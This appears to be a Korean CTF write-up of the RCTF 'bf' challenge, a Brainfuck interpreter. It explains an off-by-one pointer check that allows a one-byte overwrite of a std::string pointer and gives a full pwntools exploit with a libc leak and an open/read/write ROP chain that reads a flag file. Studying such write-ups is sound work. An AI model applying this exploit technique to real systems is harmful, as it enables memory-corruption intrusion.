Concept
brain fuck
을 구현해 둠brain fuck
의 포인터는 스택에 존재함CPP
바이너리임 (인풋이 길어지면 자동적으로 힙이 할당되며 힙이 점점 커짐)
Vuln
memset(&tmp, 0, 0x400uLL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::clear(&inputHeap, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "enter your code:");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
v4 = &buf;
read(0, &buf, 1uLL);
if ( buf == '\n' )
break;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&inputHeap, buf);
}
일단 위에 코드를 보면 알수있듯이 buf
변수에 입력을 하나씩 받고 operator+=
로 inputHeap
에 이어붙힌다.
여기서 개꿀잼 몰카인것은 payload
의 길이가 0x30
정도보다 작으면 inputHeap
변수는 스택의 주소를 가지고 있는다. 하지만, CPP
특징 상 인풋이 길어지면 자동으로 힙을 할당해서 거기다가 데이터를 넣어준다.
취약점은 >
,<
연산자를 처리하는 과정에서 발생한다.
if ( *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&inputHeap, j) == '>' )
{
pointer = pointer + 1;
if ( pointer > &inputHeap ) // rbp-0x4c8 / rbp-0x40
{
puts("invalid operation!");
exit(-1);
}
}
else
{
v10 = j;
if ( *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&inputHeap, j) == '<' )
{
pointer = pointer - 1;
if ( pointer < &tmp )
{
puts("invalid operation!");
exit(-1);
}
}
보면 if ( pointer > &inputHeap )
까지 검사하는데, pointer == inputHeap
일 상황에는 검사하지 않는다. 따라서 off by one
취약점이 발생한다.
여기서 ,
연산자로 덮을 수 있는 바이트는 inputHeap
변수의 딱 한바이트이다. 요걸로 모든것을 끝낼 수 있다.
v12 = std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
v13 = std::operator<<<std::char_traits<char>>(v12, "done! your code: ");
v14 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v13, &inputHeap);
std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
위 코드는 inputHeap
에 들어있는 데이터를 출력시켜주는 부분인데, inputHeap
변수를 한바이트 변조시키게 되면 스택 담긴 값을 볼 수 있을것 같은 기분이 든다.
Exploit
근데 몇가지 문제가 있다.
payload가
0x40(?)
정도 길이가 넘어가면 스택 주소가 박히는데, 취약점을 트리거하기 위해서는 포인터를 증가시키는 연산자인>
를 0x400번 사용해야한다. => 페이로드의 길이가 0x400이 넘어가 자동적으로 힙에 데이터가 할당된다.brain fuck
으로 반복문을 만들어 payload를 줄이려고 해도brain fuck
은 단 하나의 포인터만을 사용하기 때문에 반복문을 만들기 쉽지 않다.
일단 절대로 inputHeap
변수 안에 힙주소가 들어가게 해서는 안된다. 힙을 변조해도 아무것도 할게 없다. 그래서 짱구를 굴려서 brain fuck
반복문을 만들어야 한다.
나는 아래와 같이 했다.
code("++[[>]+,]>.,")
일단 [
연산자는 현재 포인터 안에 담긴 값이 NULL
이면 ]
을 찾아가 반복문을 종료시킨다.
그래서 +
연산자로 포인터 안의 값을 0x01
로 만들어준다.
그다음에는 반복문에 진입하게 되는데, 한바이트를 옮기고 나서 +
연산자를 사용한 후에, ,
연산자로 입력을 받게 된다. 만약 여기서 NULL
을 입력하게 된다면, []
연산자에 의해 반복이 종료되는 것이다.
즉, 우리는 우리가 원할때 반복을 종료할 수 있어진다.
반복문이 종료되면, .
연산자에 의해 스택의 마지막 바이트가 leak
된다. 이제 이를 이용해서 스택의 마지막 바이트를 쓱쓱 변조할 수 있다.
나는 return address
가 있는 쪽으로 변조시켰다.
일단 이렇게 inputHeap
변수를 변조시켰으면, 다음 인풋부터는 우리가 변조시킨 주소로 들어간다. 그래서 우리가 입력한 값이 즉시 return address
에 박힌다는 의미이다.
그래서 그냥 ORW ROP
를 하면 될줄알았는데, 한가지 문제가 있었다.
__int64 __fastcall sub_1EC4(__int64 a1)
{
return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(a1 + 0x400);
}
프로그램을 종료할때 basic_string
객체의 소멸자를 실행하는데, a1 + 0x400
을 free
시킨다. 해당 부분은 inputHeap
변수이고, 해당 주소는 우리가 변조시켰기때문에 free
에서 Seg fault
가 발생하게 된다.
그래서 마지막에는 페이로드를 일정 길이로 늘려서 inputHeap
변수에 힙주소가 다시 들어가도록 세팅해주면 된다.
from pwn import *
#context.log_level = "debug"
binary = "./bf"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = True)
#r = remote("124.156.135.103", 6002)
def code(payload):
r.recvuntil("enter your code:")
r.sendline(payload)
def select(payload):
r.recvuntil("want to continue?")
r.send(payload)
def read(payload):
r.send(payload)
##### LIBC LEAK #####
code("++[[>]+,]>.,")
for i in range(0x400 - 0x2):
read("\x01")
read("\x00")
r.recvuntil("running....\n")
lsb = ord(r.recv(1))
log.info("lsb : " + hex(lsb))
read(p8(lsb + 0x38))
l = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
l -= libc.symbols["__libc_start_main"] + 231
log.info("libc base : " + hex(l))
select("Y")
##### FIND GAGDET #####
rdi = l + 0x000000000002155f
rsi = l + 0x0000000000023e6a
rdx = l + 0x0000000000001b96
rcx = l + 0x000000000003eb0b
##### SET PAYLOAD & RECOVERY HEAP #####
flag = l + 0x3ebc40
payload = ""
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x30)
payload += p64(l + libc.symbols["read"])
payload += p64(rdi) + p64(flag)
payload += p64(rsi) + p64(0)
payload += p64(l + libc.symbols["open"])
payload += p64(rdi) + p64(3)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x50)
payload += p64(l + libc.symbols["read"])
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x50)
payload += p64(l + libc.symbols["write"])
code(payload + "++[[>]+,]>.,")
for i in range(0x400 - 0x2):
read("\x01")
read("\x00")
read(p8(lsb))
select("N")
#### ORW #####
sleep(0.5)
r.send("./flag\x00")
r.interactive()
inputHeap
juntae@ubuntu:~/ctf/Rctf/bf$ p ex.py
[*] '/home/juntae/ctf/Rctf/bf/bf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './bf': pid 3039
[*] lsb : 0x20
[*] libc base : 0x7ff6600dd000
[*] Switching to interactive mode
FLAG
g\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PA賒U
'System Hacking (pwnable) > CTF Write-up' 카테고리의 다른 글
[RCTF] vm ( write - up ) (0) | 2020.06.10 |
---|---|
[DefenitCTF] Variable-machine ( write-up ) (0) | 2020.06.09 |
[d^ctf] babyrop ( write-up ) (0) | 2020.02.27 |
[codegate] 7amebox1 ( write-up ) (0) | 2020.02.26 |
[HITCON] children_tcahce ( write-up ) (0) | 2019.12.18 |